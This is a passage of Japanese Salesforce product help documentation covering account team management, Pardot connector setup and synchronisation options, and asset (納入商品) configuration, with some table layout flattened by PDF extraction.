引先に対する参照アクセス権があるユーザは、チームメンバーを追加できます
が、編集することはできません。取引先に対する編集アクセス権があれば、チー
ムメンバーを編集または削除することもできます。
取引先レコードを所有していないユーザは、レコードに対する編集アクセス権
がある場合にのみチームメンバーを追加できます。
取引先レコードの所有者であるか、組織のロール階層で所有者よりも上位に位
置している場合にのみ、レコードに対するより高いアクセス権をチームメンバー
に付与できます。
取引先チームを作成するには、取引先を選択し、取引先に取引先チームメンバー
を追加します。大規模ポータルユーザはチームに追加できません。
1. 取引先を表示します。
2. [取引先チーム] 関連リストにある [追加] をクリックします。
3. 取引先チームに追加するユーザを選択します。取引先にデフォルトの取引先

チームを追加するには、[取引先チーム] 関連リストの[デフォルトチームの追
加] をクリックします。取引先チームメンバー全員を商談に追加するには、
商談にある [商談チーム] 関連リストから [取引先チームの追加] をクリックし
ます。

4. この取引先の関連するレコードに対する各メンバーのアクセス権の種類を選
択します。

メモ: 変更するアクセス権は、組織のデフォルトの取引先アクセス権よ
りも制限を緩和したものにはできません。使用可能なオプションは、組
織の共有モデル、および Salesforce Classic と Lightning Experience のどちらを
使用しているかによって異なります。共有アクセス権に関係なく、取引
先チームメンバーが、自分をメンバーとして表示する取引先を参照する
には、取引先の「参照」権限も持っている必要があります。

5. 各メンバーのチーム内の役割を選択します。
6. [保存] をクリックします。

ヒント: カスタムリストビューでは、自分が所属する取引先チームによって、取引先リストを絞り込むこ
とができます。取引先のカスタムリストビューを作成または編集しているときに、[私の取引先チーム]

条件を選択します。取引先レポートでは、自分が所属する取引先チームによって、取引先を絞り込むこ
とができます。
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取引先チームメンバーの削除に関する考慮事項

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

取引先を参照する
• 取引先に対する「参

照」

チームメンバーを削除す
る
• ユーザに対する「参

照」

および

取引先に対する「編
集」

および

取引先レコードの「所
有者」、または組織の
ロール階層で上位の所
有者

取引先チームからメンバーを削除する前に、次の考慮事項に注意してください。
• 所有している各取引先の取引先チームからチームメンバーを削除できます。
• 取引先チームのメンバーを削除しても、指定がなければ、商談チームからそ

の人は削除されません。
• チームメンバーがデフォルトの取引先チームに属しており、特定の取引先か

らそのメンバーを削除する場合、その変更は、該当する取引先にのみ影響し
ます。デフォルトの取引先チームの設定は変更されません。デフォルトの取
引先チームからユーザを削除する場合は、「デフォルト取引先チームの設定
に関するガイドライン」 (ページ 1419)を参照してください。

• 取引先チームのユーザに「参照・更新」アクセス権 (取引先アクセス、取引
先責任者アクセス、商談アクセス、およびケースアクセス) があり、そのユー
ザが無効になっている場合、ユーザが再度有効になると、アクセス権は「参
照のみ」になります。
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デフォルト取引先チームの設定に関するガイドライン

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

デフォルトの取引先チー
ムを設定する
• 商談に対する「参照」

デフォルトの取引先チー
ムを取引先に追加する
• 取引先に対する「参

照」

および

取引先レコードの「所
有者」、または組織の
ロール階層で上位の所
有者

通常取引先を担当している同僚で構成されるデフォルトの取引先チームを設定
すると、時間を節約できます。デフォルトチームを設定したら、自分が所有す
る取引先に追加します。
取引先チームと商談チームは同じではありませんが、チームメンバーの役割は
同じです。
• デフォルトの取引先チームを設定するには、個人設定の [高度なユーザの詳

細] にアクセスします。
•

•

• デフォルトの商談チームを定義するときに、進行中のすべての商談にその
チームを自動的に追加することを選択できます。このオプションを選択しな
い場合は、商談の [商談チーム] 関連リストからデフォルトのチームを追加し
ます。

• [デフォルトチームの追加] をクリックすると、ボタンをクリックしたユーザ
のデフォルトチームではなく、商談所有者のデフォルトチームが追加されま
す。

• Salesforce システム管理者およびロール階層で自分より上位のユーザは、自分
が所有する商談にデフォルトの商談チームを追加できます。

関連トピック:

取引先チーム

Pardot を使用した見込み客、取引先責任者、およびリードの同期

Salesforce コネクタの使用開始

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

新しく作成した見込み客、取引先責任者、リードを、Pardot とSalesforce間で同期
します。また、見込み客に送信された Pardot メールを Salesforce 活動として同期
します。
AppExchange 認定ソリューションである Salesforce コネクタは、異種のマーケティ
ングチャネルを Pardot 内から合理化するのに役立ちます。
レコードは、Pardot と Salesforce 間で少なくとも 10 分ごとに同期されます。同期
プロセスでは、10 分ごとに 800 件のレコード、1 時間ごとに最大 4,800 件のレコー
ドが処理されます。
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Salesforce コネクタの設定

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

本番環境または Sandbox 環境の Salesforce コネクタを設定します。
状況を的確に示すオプションを選択します。

使用するコネクタ設定手順コネクタの設定環境

本番環境または Sandbox 環境と同期する
ためのコネクタの設定

本番環境または Sandbox 環境での初
回の設定

Sandbox 環境と同期するためのコネクタの
設定

本番環境で設定済みの既存のコネク
タに加えた Sandbox 環境での設定

Pardot に接続するための Salesforce の準備

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

AppExchange パッケージをインストールして、Salesforce を Pardot と接続および同
期できるように準備します。
AppExchangeからダウンロードするパッケージでは、カスタムアプリケーション、
カスタムタブ、リードと取引先責任者のカスタム項目を使用して Salesforce が自
動的に更新されます。パッケージをインストールすると、Pardot LeadDeck アプリ
ケーションのカスタムタブが表示されます。リードと取引先責任者のカスタム
項目を表示するには、ビューのカスタマイズが必要な場合があります。これは、
営業チームが Pardot と Salesforce 間で情報を共有するのに役立ちます。

必要な操作

Pardot
AppExchange
パッケージをイ
ンストールする
環境

本番環境 1. 本番環境の Pardot AppExchange パッケージに移動します。
2. [次へ] をクリックして、パッケージをインストールしま

す。
3. ユーザ名とパスワードの入力を求められたら、本番組織の

ユーザ名およびパスワードを入力します。
4. 処理を確認し、[リリース]をクリックしてインストールを

完了します。
5. ObjectChangeLogs に対する参照権限があることをSalesforceシ

ステム管理者に確認します。

Sandbox 環境 1. Salesforce からログアウトします。
2. Sandbox 環境のPardot AppExchangeパッケージに移動します。
3. ユーザ名とパスワードの入力を求められたら、Sandox 組織

のユーザ名およびパスワードを入力します。
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必要な操作

Pardot AppExchange
パッケージをインス
トールする環境

4. [次へ] をクリックして、パッケージをインストールします。
5. 処理を確認し、[リリース] をクリックしてインストールを完了します。
6. ObjectChangeLogs に対する参照権限があることを Salesforce システム管理者に確認し

ます。

本番環境または Sandbox 環境と同期するためのコネクタの設定

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

本番環境または Sandbox 環境のいずれかで、Pardot と Salesforce を同期するために
Salesforce コネクタを準備します。
次の手順は、コネクタの設定を初めて行う場合にのみ実行します。この手順に
は、Salesforce で管理権限が必要です。
1. Salesforceの [設定] から、[クイック検索]ボックスに「ネットワークアクセス」

と入力し、[ネットワークアクセス] を選択します。
2. 次の信頼できる IP 範囲を作成します。

終了 IP アドレス開始 IP アドレス

67.228.95.14567.228.95.145

67.228.168.14167.228.168.139

67.228.223.10767.228.223.106
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Pardot へのコネクタの追加

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

レコードを作成する
• 取引先責任者とリード

に対する「作成」、
「更新」、および「参
照」

コネクタ設定の追加と管理を Pardot で直接行います。
次の手順は、コネクタの設定を初めて行い、Salesforce で管理権限がある場合に
のみ実行します。
1. Pardot で [管理] にマウスポインタを置いて、[コネクタ] をクリックします。
2. [+ コネクタを追加] をクリックします。
3. Salesforce を選択します。
4. コネクタの名前を入力します。

コネクタを簡単に識別できる名前を使用してください。
例: Salesforce コネクタ

5. Salesforce のユーザ名とパスワードを入力します。
Salesforce パスワードを変更した場合は、コネクタの Salesforce パスワードを更
新する必要があります。

コネクタのカスタマイズオプション
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

設定に基づいて、コネクタをカスタマイズします。
次のオプションを選択して、コネクタをカスタマイズします。

動作目的

Salesforce で新しく作成されたリードまたは取引先責任者
を Pardot と同期するトリガの設定を有効にします。これ
は、Pardot AppExchangeパッケージをSalesforceにインストー
ルした後で作成されたリードまたは取引先責任者のみが
対象となり、既存のリードまたは取引先責任者は対象外
です。また、メールアドレスを使用して作成されたリー
ドおよび取引先責任者に対してのみ動作します。
この機能を後で有効にした場合、Pardot パッケージを
Salesforce にインストールした後で作成されたメールアド

見込み客が Salesforce

で作成された場合に
見込み客を Pardot で
自動的に更新する

レスを持つリードおよび取引先責任者は、Pardot にプッ
シュダウンされます。このオプションを使用して作成さ
れたすべての見込み客には、ドロップダウンからデフォ
ルトのキャンペーンを選択します。

1422

顧客、競合、およびパートナーの設定顧客への営業



動作目的

リードまたは取引先責任者のメールアドレスが Salesforce で更新された場合、
Pardot 見込み客のメールアドレスを自動的に更新します。
メールアドレスの更新の同期についての詳細は、「Salesforce と Pardot 間のメー
ルアドレスの更新について」を参照してください。

Salesforceでの変更を反映する
ため Pardot でメールアドレス
を自動的に変更する

サポート連絡先やアカウントマネージャなど、任意のユーザ項目からメールを
送信できます。
この機能の設定方法については、「Salesforceからのメールの送信」を参照して
ください。

Salesforceユーザと Pardot ユー
ザを自動的に照合する

Pardot でユーザを編集するときに、Salesforce のパートナーポータルユーザとカ
スタマーポータルユーザが [CRM ユーザ名] ドロップダウンに表示されないよう
にします。

Salesforceのパートナーポータ
ルユーザとカスタマーポー
タルユーザを見込み客の割
り当てから除外する

ユーザは Salesforce から Pardot 見込み客を追加および削除できます。このチェッ
クボックスをオンにした場合は、リードおよび取引先責任者のページレイアウ
トに Visualforce 要素を追加する必要があります。

CRM 内での見込み客リストの
編集を許可する

Sandbox 環境に接続できます。Salesforce Sandbox アカウント
に接続する

見込み客に送信されたすべてのメール (リスト、ドリップ、メール自動応答シ
ステム、一対一の見込み客メール) の活動を自動的に記録します。

メールを CRM と同期する

メモ: 活動ビューがすぐにいっぱいになる可能性があります (特に取引先
オブジェクトの場合)。[Pardot でのメールの記録] を無効にしても、過去
にさかのぼるわけではありません。メールの記録により Salesforce のワー
クフローに支障が出る場合は、このオプションを有効にしないことをお
勧めします。

Pardot for Microsoft® Outlook®、Thunderbird 拡張機能、Apple Mail プラグイン、または
Gmail のアドイン経由で送信するメールの活動を記録します。

プラグインメールを CRM と
同期する

ToDo が作成されたときに、ユーザに通知メールを送信できます。ToDo 作成用の Salesforce メー
ルを有効化する

割り当てルールの実行時にSalesforceからユーザに通知メールを送信できます。割り当てルール用のSalesforce

メールを有効化する

ユーザまたはキューに対して割り当てが行われたときに、Salesforceからユーザ
に通知メールを送信できます。

ユーザ割り当ておよびキュー
割り当て用の Salesforce メー
ルを有効化する
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Sandbox 環境と同期するためのコネクタの設定

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Pardot と Salesforce Sandbox を同期するために Salesforce コネクタを準備します。
次の手順は、Salesforce コネクタが本番環境で設定済みであり、代わりに Sandbox

環境を指すようにコネクタを設定する場合にのみ実行します。
1. Pardot で [管理] にマウスポインタを置いて、[コネクタ] をクリックします。
2. Salesforce コネクタの行で をクリックし、[編集] をクリックします。
3. [ユーザ名] 項目で、ユーザ名に「.NSPARDOT」を追加します。

(例: christina.wills@pardot.com.NSPARDOT)

4. Sandbox 環境と本番環境でパスワードが異なる場合は、[パスワード] 項目に
Sandbox パスワードを入力します。

5. [Salesforce Sandbox アカウントに接続] オプションを選択します。
Sandbox は Salesforce 本番組織のコピーであるため、Sandbox のコネクタも表示されます。

Salesforce での Pardot IP のホワイトリストへの追加

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Pardot と Salesforce と通信できるようにするため、Salesforce で Pardot IP アドレスを
設定します。
次の手順は、コネクタの設定を初めて行う場合にのみ実行します。この手順に
は、Salesforce で管理権限が必要です。
1. Salesforceの [設定] から、[クイック検索]ボックスに「ネットワークアクセス」

と入力し、[ネットワークアクセス] を選択します。
2. 次の信頼できる IP 範囲を作成します。

終了 IP アドレス開始 IP アドレス

67.228.95.14567.228.95.145

67.228.168.14167.228.168.139

67.228.223.10767.228.223.106

136.147.104.23136.147.104.20

136.147.96.23136.147.96.20
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コネクタの有効化

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Salesforceコネクタを有効化して Pardot とSalesforce間の同期を開始できるようにす
るには、次の簡単な手順を実行します。
1. Pardot で [管理] にマウスポインタを置いて、[コネクタ] をクリックします。
2. Salesforce コネクタの行で、[今すぐ確認] をクリックします。

Pardot で Salesforce データを送受信できる場合は、状況が に変わります。

リードのカスタム項目から取引先責任者項目への対応付け

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

2 つのレコードタイプ間でカスタム項目を対応付けて、変換したリードから作成
される取引先責任者を最大限に活用します。
コネクタにより、Pardot の見込み客からSalesforceでリードが作成されます。ただ
し、これらの Salesforce リードを取引先責任者に変換すると、新しく変換された
取引先責任者に対して、取引先責任者の標準項目しか表示されません。リード
と取引先責任者間でカスタム項目を対応付けると、マーケティングおよび営業
活動に役立つすべての実行が表示されます。
1. リードのオブジェクト管理設定から項目領域に移動し、[リードの項目の対応

付け] をクリックします。
2. リードの各カスタム項目について、取引を開始したときに情報が入力される

取引先、取引先責任者、商談の各カスタム項目を選択します。
3. [保存] をクリックします。

Salesforce での Pardot カスタム項目の設定

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Pardot カスタム項目を Salesforce で表示します。
Salesforceで Pardot と接続および同期できるようにするためにインストールされた
AppExchange パッケージでは、カスタム項目が設定されますが、これらの項目は
自動的に Salesforce には表示されません。これらのカスタム項目を Salesforce で表
示するための手順を実行する必要があります。
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リードおよび取引先責任者のページレイアウトへのセクションの追加

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Pardot 項目をリードおよび取引先責任者のページレイアウトに表示するための手
順を実行します。
1. Salesforce で、リードのオブジェクト管理設定から [ページレイアウト] に移動

します。
項目オプションを含むドラッグアンドドロップボックスは、ページ上部に表
示されます。

2. [セクション] 項目をリードのページレイアウトにドラッグします。
3. ポップアップウィンドウで、セクション名に「Pardot」と入力します。
4. 列数には [2 列] を選択します。
5. セクションヘッダーを表示するためのオプションを選択し、[OK]をクリック

します。
6. ドラッグアンドドロップエディタの [項目] セクションに戻り、右にスクロールして Pardot カスタム項目を

見つけます。
7. すべての Pardot 項目を新しいセクションにドラッグします。
8. ドラッグアンドドロップエディタを使用して別のセクションを追加しますが、列数には [1 列] を選択しま

す。
9. セクションヘッダーを表示するためのオプションを選択し、[OK] をクリックします。
10. [Visualforce ページタブ] を選択し、[Pardot のリードの活動] と [Pardot のリードのリストのメンバーシップ]

を新しいセクションにドラッグします。

キャンペーン見込み客を Pardot に追加するための Salesforce の設定

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Salesforceキャンペーンから Pardot に見込み客をすばやく取得できるようにSalesforce

を設定します。
1. Salesforceの [設定] で、キャンペーンのオブジェクト管理設定から[ページレイ

アウト] に移動します。
2. レイアウトを編集し、[ボタン] を選択します。
3. [Pardot のリストに追加] ボタンを、キャンペーンビュー上部にあるカスタム

ボタンの行にドラッグします。
4. レイアウトを保存します。
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リードとキャンペーンを Pardot に追加するための Salesforce の設定

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

リードとキャンペーンを Pardot に追加する操作や、Pardot で追跡されるメールを
Salesforceから送信する操作を簡単にするため、Salesforceでボタンを簡単に追加し
ます。
Salesforce のリードとキャンペーンを Pardot に追加するには、[Pardot に送信] ボタ
ンを設定して使用します。Salesforce レコードに関連付けられているメールアド
レスには、次の場合があります。
• Pardot にまだ存在しない。Pardot への送信機能により、新しいレコードが Pardot

で作成されます。
• Pardot にすでに存在する。害はなく、重複レコードが Pardot で作成されない

だけです。
Pardot で追跡されるメールを Salesforce から送信するには、[Pardot のメールを送
信] ボタンを設定して使用します。自由形式の追跡メールを送信するか、マーケティングで承認済みの Pardot

メールテンプレートを使用してリードまたは取引先責任者にメールを送信します。
1. システム管理者として Salesforce にログインします。
2. リードのオブジェクト管理設定から、[ページレイアウト] に移動します。

項目オプションを含むドラッグアンドドロップボックスは、ページ上部に表示されます。
3. [リードのレイアウト] ボックスで、[ボタン] を選択します。
4. [Pardot に送信] ボタンを選択し、[リードの詳細] セクションにドラッグします。
5. [Pardot のメールを送信] ボタンを選択し、[リードの詳細] セクションにドラッグします。
6. レイアウトを保存します。
7. 取引先責任者について、ステップ 2 から 6 を繰り返します。

コネクタへの Salesforce ユーザ名の割り当て

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

コネクタを使用して実行するアクションがユーザに確実に関連付けられるよう
にします。
1. Pardot で [管理] にマウスポインタを置いて、[ユーザ管理] > [ユーザ] をクリッ

クします。
2. ユーザプロファイルの行で をクリックし、[編集] をクリックします。
3. [ユーザを編集] ボックスの一番下までスクロールします。
4. ドロップダウンメニューから Salesforce ユーザ名を選択します。
5. [ユーザを保存] をクリックします。
6. Pardot ユーザプロファイルで、Salesforce ユーザ名が [CRM ユーザ名] 項目に表

示されます。[検証] をクリックし、Salesforce パスワードを入力します。
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Salesforce および Pardot のシングルサインオンの設定

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Salesforce と Pardot という 2 つの別のシステムにサインオンする必要を回避しま
す。
1. Pardot にログインします。
2. メールアドレスにマウスポインタを置いて、[私の設定] をクリックします。
3. Salesforce ユーザ名が正しいことを確認します。正しい場合は [検証] をクリッ

クします。変更または追加する必要がある場合は、[私の個人情報を編集す
る] をクリックして変更または追加します。

4. 入力を求められたら、Salesforce パスワードを入力し、[検証] をクリックしま
す。
検証に成功したかどうかがメッセージで通知されます。

5. 検証に成功した場合は、Salesforce にログインし、[Pardot] タブを選択します。
Pardot に別個にログインしなくても、タブの内容を表示できます。

Salesforce からのメールの送信

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

サポート連絡先やアカウントマネージャなどの任意のユーザ項目、または Pardot

見込み客に関連付けられている任意のユーザから、メールを送信します。
ユーザおよび必要なカスタム項目を Pardot で設定すると、この機能を利用して、
見込み客に送信するメールが Salesforce のユーザから発信されたようにすること
ができます。

手順操作場
所

Salesforce 1. Salesforce のリードレコードまたは取引先責任者レコードで、リ
レーションマネージャなどの CRM ユーザ値を保持するために使用
する項目を作成します。この項目の種別は、「参照項目」にする
必要があります。項目が作成済みの場合は、項目が「参照項目」
であり正常に入力されていることを確認します。

2. 参照項目にユーザを入力します。

Pardot 1. Salesforceユーザに対して、一致するユーザシートを作成します。
2. ユーザレコードで、Pardot ユーザシートを Salesforce ユーザに対応

付けます。これにより、メールの送信時に、変数タグについて
ユーザに関する情報を Pardot で判断できます。

3. 見込み客レコードで項目値を保持するために、指定された種別
「CRM ユーザ」を使用して Pardot でカスタム項目を作成します。
この項目は、Pardot では参照のみの項目です。

4. カスタム項目を対応する salesforce.com 項目に対応付けます。
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Salesforce と Pardot 間のメールアドレスの更新について

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Salesforceの取引先責任者およびリードのメールアドレスの更新が、対応する Pardot

見込み客とどのように自動同期されるかを把握します。
Salesforceの取引先責任者とリードについて、手動またはData.comを使用してメー
ルアドレスを更新すると、対応する Pardot 見込み客のメールアドレスは次回の
同期サイクルで更新されます。また、Salesforce の取引先責任者とリードをマー
ジし、主レコードのメールアドレスが対応する Pardot 見込み客と異なる場合、
見込み客のメールアドレスは次回の同期サイクルで更新されます。

Salesforce または Pardot でメールアドレスがない場合の同期内容
メールアドレスを含まない Salesforce の取引先責任者とリードにメールアドレス
を後から追加した場合、同期サイクルでは Pardot で新しい見込み客は作成され
ません。ただし、一致するメールアドレスを持つ見込み客が Pardot にすでに存在する場合は、一致するSalesforce

のリードまたは取引先責任者のメールアドレスが同期サイクルで更新されます。

Pardot 取引先と Salesforce 個人取引先の同期オプションについて

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Pardot 見込み客をユーザに割り当てた後、2 つのシステム間でリードを簡単に同
期します。
Pardot 取引先とSalesforce個人取引先を同期する前に、次のオプションを検討しま
す。

把握する必要のある内容Pardot で行
う操作

デフォルトでは、コネクタによりSalesforceレコードがリードとし
て作成されます。ただし、リードを個人取引先に変換した場合、
Pardot では個人取引先を認識できません。Pardot では、個人取引先
と同期できません。代わりに、同期するリードが Pardot で再作成
されます。

Salesforce で
リードを作
成し、個人
取引先と同
期する

Salesforceで個人取引先を使用する場合は、このデフォルトの動作
を変更します。リードの作成と同期する個人取引先を有効にする
ことにより、Pardot では Salesforce でレコードが引き続きリードと
して作成されますが、リードを個人取引先に変換したときに、
Pardot では個人取引先と同期され、その見込み客に対して追加の
Salesforce リードは作成されません。
この同期では、Salesforce 個人取引先が、Pardot の取引先と関連付
けられている Pardot 見込み客レコードと同期され、Salesforce で 2

つのレコードが 1 つのビューにマージされることはありません。
項目の対応付けは同じままになり、取引先責任者項目が見込み客
項目に対応付けられ、salesforce.com の取引先レベルの項目が Pardot

取引先項目に対応付けられます。つまり、個人取引先の [取引先
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把握する必要のある内容Pardot で行う操
作

所有者] が、Pardot の取引先レベルの [割り当てられたユーザ] 項目と同期されます。

Salesforceの更新されたデフォルト項目値を持つ割り当て済みの見込み客 (割り当て済みの所
有者を含む) は、約 10 分ごとに同期され、更新が Pardot レコードに戻されます (データの競

個人取引先のみ
を作成および同
期する 合が発生した場合はSalesforceが優先されるため)。カスタム項目への更新もSalesforceと同期

され、そのカスタム項目について Pardot 値で Salesforce 値を上書きするオプションが有効に
なっていない限り、更新は Pardot レコードに戻されます。
活動または更新済みのレコードがある Pardot の未割り当ての見込み客も、Salesforceのレコー
ドで同じメールアドレスを使用していれば、同期されます。Pardot での同期では、未割り
当ての見込み客より割り当て済みの見込み客が優先されます。Salesforce で一致するメール
アドレスが存在しない場合、Pardot の見込み客はユーザに割り当てられるまで同期されま
せん。つまり、見込み客が Pardot で割り当てられるまで、Salesforce ではコネクタにより新
しいレコードは作成されません。

Pardot と Salesforce 間のリードの同期

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Pardot 見込み客をユーザに割り当てた後、2 つのシステム間でリードを簡単に同
期します。
Salesforceにリードがすでに存在する場合、コネクタによりリードが Pardot に同期
され、2 つのシステム間で Pardot 見込み客と Salesforceリードがマージされます。
リード所有者など、Salesforce と Pardot の共通項目のデータが競合していると、
Salesforce項目のデータが常に優先されます。Pardot でカスタム項目を設定する場
合は、この機能を利用できます。また、Pardot を設定して、見込み客に送信する
メールが Salesforce のユーザから発信されたようにすることもできます。

手順同期方
法

Pardot で [CRM と同期] リンクをクリックすると、Pardot の見込み客と
Salesforce のリードがすぐに同期され、Pardot と Salesforce のデータが
マージされます。

手動

Salesforce の更新されたデフォルト項目値を持つ割り当て済みの見込
み客 (割り当て済みの所有者を含む) は、約 10 分ごとに同期され、更

自動

新が Pardot レコードに戻されます (データの競合が発生した場合は
Salesforce が優先されるため)。カスタム項目への更新も Salesforce と同
期され、そのカスタム項目について Pardot 値で Salesforce 値を上書き
するオプションが有効になっていない限り、更新は Pardot レコード
に戻されます。
活動または更新済みのレコードがある Pardot の未割り当ての見込み
客も、Salesforceのレコードで同じメールアドレスを使用していれば、
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手順同期方法

同期されます。Pardot での同期では、未割り当ての見込み客より割り当て済みの見込み客が優
先されます。Salesforce で一致するメールアドレスが存在しない場合、Pardot の見込み客はユー
ザに割り当てられるまで同期されません。つまり、見込み客が Pardot で割り当てられるまで、
Salesforce ではコネクタにより新しいレコードは作成されません。

Salesforce 取引先責任者としての見込み客の追跡

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Pardot 見込み客から Salesforce で取引先責任者を自動的に作成します。
デフォルトでは、Salesforceコネクタにより、Pardot の見込み客から Salesforceリー
ドが作成されます。見込み客をSalesforceでリードとして追跡しない場合は、リー
ドの代わりにSalesforceで取引先責任者が作成されるように、Pardot サービスメン
バーがデフォルト設定を調整できます。
この機能がアカウントで有効になっていると、Pardot ではまずSalesforceリードを
調べて、Pardot で同期できるメールアドレスを持つ既存のリードレコードが存在
するかどうかが確認されます。既存のリードレコードが存在しないと、同じメー
ルアドレスを持つ既存の取引先責任者レコードが Pardot で検索されます。同じ
メールアドレスを持つ Salesforce のリードと取引先責任者がどちらも存在しない
と、新しい Salesforce 取引先責任者レコードが Pardot で作成されます。

顧客が購入した商品の追跡

納入商品とは?

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

会社が販売する品目が商品であるのに対し、納入商品とは、顧客が購入した特
定の商品を示します。納入商品には、個々の販売品のシリアル番号、購入日、
その他の情報などが含まれます。組織における納入商品の使用方法によっては、
顧客が所有する競合商品や自社商品のバージョンを表すこともあります。
納入商品は、顧客が持っている具体的な情報を保存する場合に使用します。納
入商品は、[納入商品] タブで参照できます。ページレイアウトによっては、取引
先、取引先責任者、商品ページレイアウトでも納入商品の関連リストを参照で
きます。
組織の納入商品に階層を導入すると、より複雑な商品のリレーションを表すこ
とができます。納入商品階層には最大で 10,000 件の納入商品を格納できます。
納入商品間のリレーションは、納入商品の [親納入商品]項目を使用して定義し
ます。
システム管理者によってエンタイトルメントが設定されている場合、顧客は購入した納入商品に応じてサポー
トの対象となる場合があります。

関連トピック:

納入商品の使用開始
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納入商品の使用開始

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

組織で商品を有効化した場合、その組織では納入商品が自動的に有効化されま
す。ただし、ユーザが納入商品を使用するには、まず、システム管理者が組織
をカスタマイズする必要があります。
組織で納入商品を実装する手順は、次のとおりです。
• [納入商品] タブをホームページに追加します。

メモ:  [納入商品] タブは、Spring '15 より前に作成された組織ではデフォ
ルトで非表示になっています。[納入商品] タブをユーザに表示するに
は、ユーザプロファイルを変更する必要があります。

• 取引先、取引先責任者、および商品ページレイアウトに納入商品関連リスト
を追加します。ユーザは、これらの関連リストから納入商品を新たに作成で
きます。

• ある納入商品を別の納入商品の子にできるようにするには、納入商品のページレイアウトに[親納入商品]

項目と [子納入商品] 関連リストを追加します。ユーザにより多くのコンテキストを提供するには、参照の
みの [ルート納入商品] 項目を追加できます。この項目は納入商品階層の最上位納入商品を表します。

• 該当する商品、納入商品、および納入商品ページレイアウトに [ケース] 関連リストを追加します。
• 自分のケースページレイアウトに [納入商品]項目を追加します。自身の業務への必要性に応じて、項目レ

ベルセキュリティを変更して、[納入商品]項目が表示されるようにする、または必須にすることを検討し
てください。

• デフォルトでは、ユーザは、納入商品に対して「参照」、「作成」、「編集」、および「削除」権限を持っ
ています。必要に応じて、ユーザに割り当てられているこれらの権限を変更します。納入商品に対する「参
照」権限を持っていないユーザは、納入商品または納入商品関連リストを Salesforce で参照できません。

• 必要に応じて、[設定] から、[クイック検索]ボックスに「納入商品」と入力し、[納入商品]を選択して、納
入商品項目およびページレイアウトをカスタマイズします。

関連トピック:

納入商品とは?
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[納入商品] タブの表示

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

タブ設定を参照する
• 「設定・定義を参照す

る」

タブ設定を編集する
• 「プロファイルと権限

セットの管理」

[納入商品] タブでは、納入商品を表示して操作できます。[納入商品] タブは、
Spring '15 以降に作成された組織で表示されます。
[納入商品] タブは、Spring '15 より前に作成された組織ではデフォルトで非表示に
なっているため、[すべてのタブ] ページに表示されません。タブ表示を変更する
には、ユーザプロファイルを更新します。
1. [設定] で、[管理] | [ユーザの管理] | [プロファイル] をクリックします。
2. 更新するユーザプロファイルの横にある [編集] をクリックします。
3. [タブの設定] リストで、[納入商品] の設定を [デフォルトで表示] に変更しま

す。
4. [保存] をクリックします

これで、更新されたプロファイルを持つユーザには、[すべてのタブ] ページ
